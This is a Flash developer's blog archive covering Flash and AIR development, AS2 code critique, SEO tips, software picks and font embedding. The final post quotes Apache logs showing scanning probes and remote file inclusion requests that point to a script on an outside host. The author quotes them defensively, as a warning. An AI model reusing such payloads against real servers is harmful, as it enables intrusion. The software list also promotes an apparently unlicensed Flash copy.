Wednesday, 9 January 2013

Why flash developers won't go extinct!

I always wanted to work as a games developer. I have created some little games in the past for clients or for myself but always my time has been utterly consumed by my own portfolio websites maker: Electrofolio

In 2010, I made a remake of an old game which was running really well in Flash Player 9 (AS3). 
Later on (late 2010), when I realized that I was the only one excited about my game (playability was amazing),  I decided to add a twist improving graphics adding real animated images instead Tron looking vectorial pictures. Play at the newer version.

Animations were running slower now and FP struggled to move the game at 50FPS plus I couldn't add a parallax scroll effect with bitmaps so I got well disappointed with Flash performance.

In 2011, after Flash beeing totally destroyed by Steve Jobbs, Adobe released a GPU 3D accelerated Flash version called molehill.

I saw several 3D demos and differences with performance were so huge that I decided that I had to go with this new way and stop working with time lines and classic Flash, completely.
I realized that I would take longer to develop apps but this is the way forward.

With the release of Starling 0.8, a friend and I decided to have a go and got involved creating a kaleidoscope game using textures and stage3D. I liked the way it was running. It was pretty fast!

It was a real shame seeing everyday Flash was dieing slowly with so much power on its hands!
Flash was almost dead and Flash-haters where everywhere making so much noise that even myself had really deep thoughts of leaving the technology.
 
I had a go making trying to develop a slide-show with HTML5 that worked everywhere.... Hey! that's what HTML5 is all about, right? Well it's WRONG. It worked in some devices and some didn't execute the JavaScript / CSS combination right....  I was trapped between a dyeing technology and a really over-hyped technology.

In that moment, beginning of 2012, Flash saw its end in phones and tablets. It was one of the worst stages for Flash developers but there was still hope to use our actionscript good skills, an exit, developing AIR apps instead of web apps. That was a great idea! Sadly, my phone (Samsung Galaxy ACE 1) didn't support AIR... I got really down and kept working on Electrofolio (Flash, PHP, mySQL, HTML, JS, CSS, blablabla) for almost a year until I read a very positive post of making money with AIR and iOS+Android.
http://www.esdot.ca/site/2012/journey-of-an-air-developer

Now, I have decided that this has been dragged for too long, This time I'm decided to invest real time in making games. I got a newer phone (Samsung Galaxy S3 mini) which supports AIR and I right away I started developing for Android. I got registered in play.google.com for 25 US$ and adapted an old flash 9 recycling game I made in the past using normal timeline - AS3.

It was very simple drag and drop game and turned out that works pretty well...
Get the game for Android (updated in 2013)

Compare it with the Flash version:
Flash Version (made in 2010)

I think there is big potential being able to release games to several devices with just one click and monetize visits.

I took a look at adMob,  and set up an account, it took me almost a whole day to implement it all:

I got a free AIR native extension that works OK and now I am monetizing my first project. It's hardly any money but if I keep creating games they will all add up making my develop time more monetized.

I see a brighter future, this is is how continues. I will post more about this.

Thursday, 10 June 2010

Security in Flash Part 1

This is is what I found out in a furstrated afternoon. There might be wrog things due the cache. If people know about this more, please let me know.

This might work in AS2 and AS3. But it was tested on AS2 Flash9, under Flash Player 10 re32(debug).


How Flash security works between SWFs or SWF loading external images (JPG,PNG,more types?), understandble for everyone:

System.security.allowDomain()

We have two files: master.swf and slave.swf.

master is on: 'http://www.exampleDomOne.com/master.swf';
master will load a file: http://www.exampleDomTwo.com/slave.swf";

If we place on master.swf:
System.security.allowDomain("http://www.exampleDomTwo.com");

Will allow a flash file loaded from that domain to access _root vars (but not _global?) vars from master.swf

If you place on slave.swf:
System.security.allowDomain("http://www.exampleDomOne.com");
It will make ony the variables that are this.[var name] (you can ommit this) will be accessible from the clip that was used to load the swf file. but _root or _global vars will not be available.

Converting to Bitmap or using setMask() directly on those clips when no System.security.allowDomain is set in both files will result in error. But you can mask a holder. That means that if you have a clip(mc2) inside another clip(mc1). And you load an external file on mc2, you are not allowed to mask mc2 but you are mc1. Stupid huh?

What is adobe when they are thinkging about security?

Conclusion:

If you want to load external images and you want to mask them, there is no need for crossdomain or Security stuff, just load them as usual and mask the holder. easy.

If you want to load a flash file securely in your online flash application. Don't use System.security.allowDomain();

Simple, not complicated.

Friday, 7 May 2010

How NOT to make flash code.

Recently I was contacted to fix some existing website for a clothes company in UK, France and Spain.
Originally the website was developed by some guys overseas. They did an awful job, they got the website working but everytime you were clicking on a link you would get pissed off.

Why?

It would go through the next steps:
  1. after clicking, page fade off.
  2. load a new html page that contains almost the whole website again.
  3. fades in the preloader. (it shows an empty page with "0%")
  4. shows progress until finished loading
  5. fade out the percentage.
  6. fades in the logo of the company
  7. stays for 1 - 2 seconds
  8. fades out the logo and waits a second.
  9. fade in the navigation
  10. show the content that you wanted to see.

10 steps that equals aprox. 14 seconds.

I had the task to make it quicker, and after reprogramming the whole site took <4 seconds which considering that has 3000px wide images it takes a little bit of time for loading. but after that, when it is cached, it less than a second.
I removed steps: 1,2,5,6,7,8,9 ending up with:
  1. after clicking, fades out the section and fades in a preloader (at the same time).
  2. shows progress and when finishes loading
  3. fades out progress and show the content that you wanted to see (at the same time).

Why developers can make such an unusable website?

I tell you why: inexperience and things wanted to be done ASAP doesnt mix very well. It comes monster websites like this. It was bloated with useless code and images that were meant to fit a resolution almost double than 1080p HD....

Now, I am going to go through some points that is worth talking about to avoid websites like this. So if you are starting to create flash (or silverlight!) websites please put attention , this could be useful to you!



Something that bothered me during my whole refactoring was the size of the Stage, it is 1600 x 1200 or something like that. To fix the basic problem, they created a script that was resizing everything to a normal size. They placed this code in each of their FLAs:
stop();
Stage.align = "LT";
Stage.scaleMode = "noScale";
#include "mc_tween2.as"
var intervalIdResize:Number;
var durationResize:Number = 50;
home_bg._height=Stage.height;
home_bg._width=Stage.width;
if(home_bg._xscale>home_bg._yscale){home_bg._xscale=home_bg._yscale;}else{home_bg._yscale=home_bg._xscale;}
home_bg._y=0;
home_bg._x=((Stage.width/2)-(home_bg._width/2));
main_menu._height=Stage.height;
main_menu._width=Stage.width;
if(main_menu._yscale>main_menu._xscale){main_menu._yscale=main_menu._xscale;} else {main_menu._xscale=main_menu._yscale;}
main_menu._y=0;
main_menu._x=((Stage.width/2)-(main_menu._width/2));
if(_global.imagesRolling==1){
image_swap._width=Stage.width;
image_swap._height=Stage.height;
if(image_swap._xscale>image_swap._yscale){image_swap._xscale=image_swap._yscale;}else{image_swap._yscale=image_swap._xscale;}
image_swap._y= 0;
image_swap._x=((Stage.width/2)-(image_swap._width/2));
}
footer_txt._height=Stage.height;
footer_txt._width=Stage.width;
if(footer_txt._xscale>footer_txt._yscale){footer_txt._xscale=footer_txt._yscale;}else{footer_txt._yscale=footer_txt._xscale;}
footer_txt._y = 0;
footer_txt._x = ((Stage.width/2)-(image_swap._width/2));
logo1._width=Stage.width;
logo1._height=Stage.height;
if(logo1._yscale>logo1._xscale){logo1._yscale=logo1._xscale;}else{logo1._xscale=logo1._yscale;}
logo1._y= 0;
logo1._x=((Stage.width/2)-(logo1._width/2));

function executeCallback():Void {
resizeThese();
}
intervalIdResize = setInterval(this, "executeCallback", durationResize);

function resizeThese(){
home_bg._height=Stage.height;
home_bg._width=Stage.width;
if(home_bg._xscale>home_bg._yscale){home_bg._xscale=home_bg._yscale;}else{home_bg._yscale=home_bg._xscale;}
home_bg._y= 0;
home_bg._x= ((Stage.width/2)-(home_bg._width/2));
logo1._width=Stage.width;
logo1._height=Stage.height;
if(logo1._yscale>logo1._xscale){logo1._yscale=logo1._xscale;}else{logo1._xscale=logo1._yscale;}
logo1._y= 0;
logo1._x=((Stage.width/2)-(logo1._width/2));
main_menu._height=Stage.height;
main_menu._width=Stage.width;
if(main_menu._yscale>main_menu._xscale){main_menu._yscale=main_menu._xscale;} else {main_menu._xscale=main_menu._yscale;}
main_menu._y=0;
main_menu._x=((Stage.width/2)-(main_menu._width/2));
image_swap._width=Stage.width;
image_swap._height=Stage.height;
if(image_swap._xscale>image_swap._yscale){image_swap._xscale=image_swap._yscale;}else{image_swap._yscale=image_swap._xscale;}
image_swap._y= 0;
image_swap._x=((Stage.width/2)-(image_swap._width/2));
footer_txt._height=Stage.height;
footer_txt._width=Stage.width;
if(footer_txt._xscale>footer_txt._yscale){footer_txt._xscale=footer_txt._yscale;}else{footer_txt._yscale=footer_txt._xscale;}
footer_txt._y = 0;
footer_txt._x = ((Stage.width/2)-(image_swap._width/2));
};

That code can be resumed into the next:

;

That's right... nothing . Flash resizes the stage automatically by default. If you want to align things on the sides there much better ways to do it. Let me tell you some examples.

Use a event listener that check when the Stage gets resized reposition your elements.
If you use a setInterval of 50 for that , you would be executing all the resizing code every 50ms! That will suck your CPU like a leech!
If you don't know how events and listener and you don't want to learn then create onEnterFrame at least, it would be executed many less times per second!


Flash prototypes:

Since AS2 was created prototypes are outdated, so stop using them! Instead of that create a class and extend the original object. Much cleaner.


Calling functions from a executing function argument:

If you want to call a function from inside another function, don't write a new full function with brackets and everything inside. Instead of that, create an external function that calls the other one after calculating whatever you want to calculate.

Bad:

pictureLarge.alphaTo(0, 0.65, "linear", 0.1, function() {
operationLockDown((_global.curBatch*8)+_global.curItem)
});


Better:
pictureLarge.alphaTo(0, 0.65, "linear", 0.1, operationLockDown);

In the example, both variables you are trying to send are globals so you don't need to send any variables!

If they weren't you can always use a CLASS that lets you send parameters. For example in Tweener:

var N:Number = (_global.curBatch*8)+_global.curItem;
Tweener.addTween(myMovieClip, {_x:200, time:1, onComplete:operationLockDown, onCompleteParams:N});

Please make all calculations outside function's parameters. Instead of that, send something clean like a variable containing the result.
Don't use global unless is necesary, it slows down the performance and it is spagetti coding which it's not nice when someone tries to debug it.


Don't call buttons to instances of movieclips.

We, developers, use them as buttons half of the time but buttons are buttons and adding _btn to a MovieClip makes things complicated. The reason we add _btn _mc _txt is to make life easier when debugging.

Whyyyy are you so picky about it?
Because each time of object has different properties and when accessing them from code we know what can we do without having to check what kind of object it is on Stage, it saves us lots of time and headaches.

One little example: Trying to play a "whatever_mc" that is a button, won't work: as they have 4 fixed frames and you cant move the frame wherewver you want, we have movieclips for that.


Sorry for the crappy post, I had to let it out. I cant believe I am writing this kind of stuff in 2010....

Friday, 25 December 2009

SEO tips

These days.. after finishing with the flash coding for electrofolio.com I have started with SEO and PHP security. Today Im studing SEO techniques and I think I should write down all the key points related to SEO on HTML content, so there you go:
  • Include keywords in your URL
  • Dont use superlong URLs full of query strings and vars. the less the better.
  • Use title, keywords and description meta-tags on the header of your html code.
  • Keyword tips (google ignores them?):
    • put the keywords in order of importance.
    • less is better.
    • use lowercase words.
    • use only important words.
    • no need to make similar sentences with same keywords, no comas are needed to separate those words. If you need special combinations use quote signs then.
  • First thing appearing within the [html] tag should be a text, place the images later in the code.
  • Use your primary keywords on the beginning of your text (or at least first paragraph) on your main page.
  • Place alt tags with your keywords on the images.
  • Write porper links, dont use meaningless links such "here" or "this link".
  • In the links that come to your site for a certain key phrase - you need thoses links [alt] tag to be your keywords.
  • Make sitemaps.
  • Make footers with your contact detail in every page on your site.
To improve your chances of getting higher in search engines, I think the best way (talking from my ignorance on SEO) is to get links from other sites. Not bad sites, just normal sites and links from popular sites will do quite well.

Create a sitemap linking the most important pages on your website and keep you code clean and tidy(valid your code using w3c validator) to make the search engines an easier life (even a beeing digital and virtual they have a life).

When you are done remember to submit your site in the most important search engines:
google , bing and yahoo.

Here is a list with most of the popuplar search engines. And create some accounts from twitter and other social networks such facebook or linkedin to get lots of traffic toyour site.

I think that might be all. Am I missing something?

Sunday, 22 November 2009

Recomended software 2009

Hi everyone,

This is all the software I can recommend to you to install on your computer (Windows) but I'm sure you can find some of this for Mac.

Some of the software is paid software but most of it is free.. If it has a dollar symbol, means that you have to pay for it. From cheap to expensive: ($) ($) ($) .

If you think I don't mention other software that you really like please let us know. The aim is to use the best software out there and let everyone know how to have a nicer IT experience.


Software that require to be installed after Installing the OS:


7Zip
It is a files compressor. With this I dont need WinRar or WinZip.



Thunderbird
Email software.

Add ons:
  1. Smartsave


Firefox
Much better than IE. Not as fast as google Chrome .

I keep it because I use all of these add ons:
  1. adBlock plus 1.1.1
  2. FireBug
  3. Flash Switcher (fix for Win7 and Vista) [for win7-64bits: C:\Windows\SysWOW64\Macromed\Flash]
  4. Flash Tracer (or you can use Vizzy flash player as stand alone application)
  5. Live HTTP Headers
  6. Modify Headers
  7. Stumble Upon
  8. Password exporter

Foxit Reader
Read PDFs without having to install Adobe's PDF Reader.


Twhirl
Twitter client.


Fookes Mailbag Assistant ($)
Back up and archive emails. It is very nice as it packs all your emails into one big file.
It has search functions. It is very efficient.


AVG
Antivirus.


OpenOffice 3
Office suite, it works quite well and it is free.


Skype
bla bla bla. over the net.


Corel x4 ($)
I got used to it, I recommend it as it is cheap and i don't need the power of photo shop.



Net Limiter ($)
Limits your network upload/downloads.
You can force some software to connect at the max speeds you want. Is good for testing.


PhotoMatix ($)
Is good for composing HDR images


Notepad++
Until Flash Develop (next on the list) I used it all the time to work with plain text files
Now I only use it to tidy XML files.
It is not fully compatible with Windows7. It has troubles saving lang.xml and sometimes config.xml.

Software that doesn't require to be installed:
that means you wont have to install the crap files that comes with it. Just try to execute the software after installing Windows in a clean format. If you have a Mac I can't help you, you choosed to pay more, your problem :)

Winamp
Best player, I have used it since Version 2 and I love that I can control the software with key combinations when it is NOT in focus. That means that I can pause music any instant I need it without having to stop what you are doing. For example:You can stop it when someone needs you for a second with just a key stroke combination. Or you can skip a song that you don't really like or whatever you can do normally with the player in focus.:)

It has this add-on called enhancer, it improves the quality of the sound a lot.

Those two features makes Winamp the best player for me.


Trillian 4
IM client that can combine lots of different services into just one "log in" and one piece of software.


CuteFTP ($)
TIP: If you move the sm.dat into my documents, then you wont lose your FTP details ever again.


VLC
Very light but powerful video player.


Flash Develop
You need to install it once as portable or (single user mode). After that doesnt need to be installed ever again.
Software suited for programming Flash Action Script and PHP, SQL, XML and HTML?.
It has code snippets which makes it much better than Flash Builder .
It doesnt have a Flash debugger!


Flash CS3 portable
It is not sold by Adobe, in fact I think is free but If u paid for your original copy of CS3 ($) it should be fine (and moral) working with this.
It doesn't come with help panels.


Keepass
Keep your passwords super safe with this tool.


Super (eRightSoft)
Convert any video file format to any other format in a very easy way.


VirtualDub
Simple but powerful video editor.


WinDirStat
Is good to have a look where you have some files in your HD. IS perfect to find and delete junk on your Hard Drives!


Anki
Helps you to remember things. Specially done to learn languages in a not dedicated way. Is really good.


CCleaner
Is good to clean your registry files and temporary files.


RegCleaner
Old software that used to work very well.


CDex
Good CD -> MP3 back up software


DVDShrink
Good DVD->9 to DVD-4 movies back up software


iCPU Shutdown
Switch off your computer whenever a condition is true. Timer, Network traffic, etc.
Beware some anti viruses detect it as virus.... is not!


CPU-Z
Identifies what CPU are you using. Is good it tells you speeds and other important stuff related to your hardware.



The next software is for XP! I Don't recommend them for windows 7.

4T Tray Minimizer ($)
RocketDock (OSX dock in windows) + DesktopCoral
Startup Delayer
TaskAssign (good for XP and multicore PCs as lets you optimize the afinitiy of each software you are running in a permanent way)

Friday, 4 September 2009

Embedding dynamic fonts on Flash AS2.(Better explanation)

Today after a couple of years on and off (more off than on) researching about embeding fonts on flash. I found a real solution today. The solution was explained on a comment in another blog like nothing important, but I can tell you it was really good for me to see this after tlooking for a solution this long.

It was a bit confusing for me so I carried on researching for shared libraries... Hmm I can't change the library dynamically. But can load flash files that has static libraries... I got me thinking.... I started realizing what was it...

I came with a solution which probably is what Matt said in that forum but at that moment I had not idea how to use libraries... so for the unexperienced I will explain it properly.


Anyway, this is how it works:
Step 1: The preloader loads the font1.swf that has as library the font1Embed.swf. That means it has the font embedded and it can be used now.

Step 2: All the library components can be used on preloader.swf

Step 3: We load main.swf which can use "preloader.swf" 's library.

It is easy once you understand it.... The great thing is you can load any library dynamically.

I will explain how to get dynamic fonts right now, step by step:

Ingredients:

  • a SWF file for the preloader,
  • 2 SWFs per font
  • any SWF that uses the font.

Cooking Time:
  • 10 to 15 mintues.
  • and then 3 minutes per font.

Preparation:

We are gonna use Arial font for this example, so wherever I say Arial , use any font you want


Character sauce:

Create an empty flash file on AS2.0.
Create a text box with the flash GUI.
Select Arial font and embed the characters you want. I normally add a text that contains at least one character bold, italic, bold+italic and normal.
Convert that text box into a movie Clip, or better said: put the text inside a movieclip.

Normally when I cook texts I assign names to the instances on the stage as "label_txt" for the text and "text_mc" for the movieclip. You can tell what kind of object is everything with just checking "_mc" or "_txt". In this example it doesnt matter as we are not going to use instances, only library objects.

When you have the convert to movieclip dialog window on screen, click on Export for runtime sharing.

Click on the URL box and write the name that is going to be this SWF file will have when exported.

We are preparing the Arial font so to make things clear name it "Arial_chars.swf".

Leave it published with that same name on the same folder as the preloader for several minutes.


Font container:

Create another empty flash file on AS2.0.

And on library click in new Symbol> Movieclip and then click on "Import for runtime sharing" it will ask you for an URL and identifier. Place the same name of the SWF file you just exported in Step1.

Then drag this new symbol into the Stage, anywhere.

Export the Flash file to the same folder of before. Use a name that will help you matching this file and the other exported file: "Arial.swf".

We should have now two files on the folder:"Arial
.swf" and "Arial_chars.swf".


(optional)
Placing all fonts in a special folder:

Placing the font files in a "fonts" folder requires you to edit all URLs from the properties dialog window relative to the preloader. That means that if you place all fonts in a folder called "fonts", and that folder is a inside the folder that contains the preloader, URLS on the properties/linkage dialog box must be: "fonts/Arial_Chars.swf" in the both characters files
.


Preloader:

We need to load all of these fonts before the real flash movie begins. So we are going to create a preloader, load the fonts first and load the main movie afterwards.

I generated a FLA with some code for it. It is a simple loader. I place the code as I have told you I will explain everything!


on Frame 1:
this.createEmptyMovieClip ("dummy",0);
this.dummy._visible = false;

_global._font = "Arial"; // or any font that you want to embed...

this.dummy.loadMovie (_global._font+".swf");//first preload the shared library
this.onEnterFrame = this.preload1;

function preload1 () {

if (this.dummy.getBytesLoaded () > 10) {
if (dummy.getBytesLoaded () == dummy.getBytesTotal ()) {
this.dummy.loadMovie ("main.swf");//also preload the main movie
this.onEnterFrame = null;
} else {
// add some progress display here
}
}
}


Then on the main flash file you need to create all of this code in order to test it:

my_fmt.font = _global._font ;
my_fmt.size = 40;

this.createTextField("my_txt", this.getNextHighestDepth(), 40, 40, 400, 30160);
my_txt.wordWrap = true;
my_txt.embedFonts = true;
my_txt.text = "Hello Mundo!";
my_txt.setTextFormat(my_fmt);
my_txt._rotation = 15;


Now you have to publish this test file as "mainMovie.swf" and the preloader as anyname.. "preloader.swf"?... all files need to be on the same folder.

Now if you publish all files with the correct names and folder , whenever you start the preloader it whould work.

Add glass sugar, and a smile, there you have what you have been looking for for ages!.


IMPORTANT NOTE: I have discovered that if you have at least one character embedded on your main flash movie this method wont work as it wont be using the external character set but the internal one. and this happens in ActionScript 2 and 3.


Thanks to Matt for the clever post in
Odd hammer.
Preloader and more information: Mario at Quasimondo.com

Thanks to you both.

Saturday, 29 November 2008

File System Security - Part I

Hello,

Today I am going to talk about file system security on a webserver Because I got a few attemps to hack my local XAMPP server.

I went to the apache log and I saw something quite interesting:
Access.log:
200.69.177.20 - - [27/Nov/2008:16:19:53 +0000] "GET //user/templates/footer.tpl HTTP/1.1" 404 1122
222.208.183.218 - - [28/Nov/2008:09:51:56 +0000] "GET http://www.nassc.com/pr.php HTTP/1.1" 404 1122
212.32.55.77 - - [28/Nov/2008:18:04:03 +0000] "GET /errors.php?error=http://87.230.27.224/phpsqliteadmin/js_.txt? HTTP/1.1" 404 1122
212.32.55.77 - - [28/Nov/2008:18:04:03 +0000] "GET /admin/business_inc/saveserver.php?thisdir=http://87.230.27.224/phpsqliteadmin/js_.txt? HTTP/1.1" 404 1122
212.32.55.77 - - [28/Nov/2008:18:20:14 +0000] "GET /upload.php HTTP/1.1" 404 1122
216.55.83.12 - - [29/Nov/2008:08:15:55 +0000] "GET /phpmyadmin/main.php HTTP/1.0" 200 3071
222.208.183.218 - - [29/Nov/2008:11:16:36 +0000] "GET http://www.wantsfly.com/prx1.php?hash=047CB197FF160516516CE156005088B4C955CE39C55F HTTP/1.0" 404 1125
212.32.55.77 - - [29/Nov/2008:13:48:59 +0000] "GET /sqlitemanager/main.php HTTP/1.1" 404 1122
212.32.55.77 - - [29/Nov/2008:13:48:59 +0000] "GET /SQLiteManager/main.php HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:31 +0000] "GET //README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:32 +0000] "GET /horde//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:32 +0000] "GET /horde2//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:33 +0000] "GET /horde3//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:33 +0000] "GET /horde-3.0.5//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:37 +0000] "GET /horde-3.0.6//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:37 +0000] "GET /horde-3.0.7//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:38 +0000] "GET /horde-3.0.8//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:38 +0000] "GET /horde-3.0.9//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:39 +0000] "GET /mail//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:39 +0000] "GET /email//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:40 +0000] "GET /webmail//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:40 +0000] "GET /newmail//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:41 +0000] "GET /mails//README HTTP/1.1" 404 1122
196.41.26.67 - - [04/Dec/2008:12:28:41 +0000] "GET /mailz//README HTTP/1.1" 404 1122
81.180.165.131 - - [05/Dec/2008:08:37:43 +0000] "GET /twiki/ HTTP/1.0" 404 1122
81.180.165.131 - - [05/Dec/2008:09:17:52 +0000] "GET /wiki/ HTTP/1.0" 404 1122
218.58.226.13 - - [07/Dec/2008:07:21:54 +0000] "GET /manager/html HTTP/1.1" 404 1122


And error.log:
[Thu Nov 27 16:19:53 2008] [error] [client 200.69.177.20] File does not exist: F:/xampp/htdocs/user
[Fri Nov 28 09:51:57 2008] [error] [client 222.208.183.218] script 'F:/xampp/htdocs/pr.php' not found or unable to stat
[Fri Nov 28 18:04:03 2008] [error] [client 212.32.55.77] script 'F:/xampp/htdocs/errors.php' not found or unable to stat
[Fri Nov 28 18:04:03 2008] [error] [client 212.32.55.77] File does not exist: F:/xampp/htdocs/admin
[Fri Nov 28 18:20:14 2008] [error] [client 212.32.55.77] script 'F:/xampp/htdocs/upload.php' not found or unable to stat
[Sat Nov 29 11:16:36 2008] [error] [client 222.208.183.218] script 'F:/xampp/htdocs/prx1.php' not found or unable to stat
[Sat Nov 29 13:48:59 2008] [error] [client 212.32.55.77] File does not exist: F:/xampp/htdocs/sqlitemanager
[Sat Nov 29 13:48:59 2008] [error] [client 212.32.55.77] File does not exist: F:/xampp/htdocs/SQLiteManager
[Wed Dec 03 18:44:21 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/PMA
[Wed Dec 03 18:44:25 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/mysql
[Wed Dec 03 18:44:28 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin
[Wed Dec 03 18:44:28 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/db
[Wed Dec 03 18:44:28 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/dbadmin
[Wed Dec 03 18:44:29 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/web
[Wed Dec 03 18:44:32 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin
[Wed Dec 03 18:44:32 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin
[Wed Dec 03 18:44:32 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/admin
[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpmyadmin2
[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/mysqladmin
[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/mysql-admin
[Wed Dec 03 18:44:33 2008] [error] [client 212.98.241.114] script 'F:/xampp/htdocs/main.php' not found or unable to stat
[Wed Dec 03 18:44:34 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.5.6
[Wed Dec 03 18:44:34 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.5.4
[Wed Dec 03 18:44:34 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.5.1
[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.2.3
[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.2.6
[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/myadmin
[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.0
[Wed Dec 03 18:44:35 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.0-pl1
[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.3-pl1
[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.3
[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.3-rc1
[Wed Dec 03 18:44:36 2008] [error] [client 212.98.241.114] File does not exist: F:/xampp/htdocs/phpMyAdmin-2.6.2-rc1
[Thu Dec 04 11:25:01 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/mantisbt
[Thu Dec 04 11:25:01 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/tracker
[Thu Dec 04 11:25:02 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bugtracker
[Thu Dec 04 11:25:02 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bugtrack
[Thu Dec 04 11:25:02 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/support
[Thu Dec 04 11:25:03 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bug
[Thu Dec 04 11:25:03 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/bugs
[Thu Dec 04 11:25:04 2008] [error] [client 64.203.107.100] File does not exist: F:/xampp/htdocs/mantis


So I came to the conclusion to not use those files or folders.
Lucky It is a server to upload our own tests and nothing could happen anyway. :)

Whenever I find more security tips I will post them on the blog, I hope it helps to stop hackers.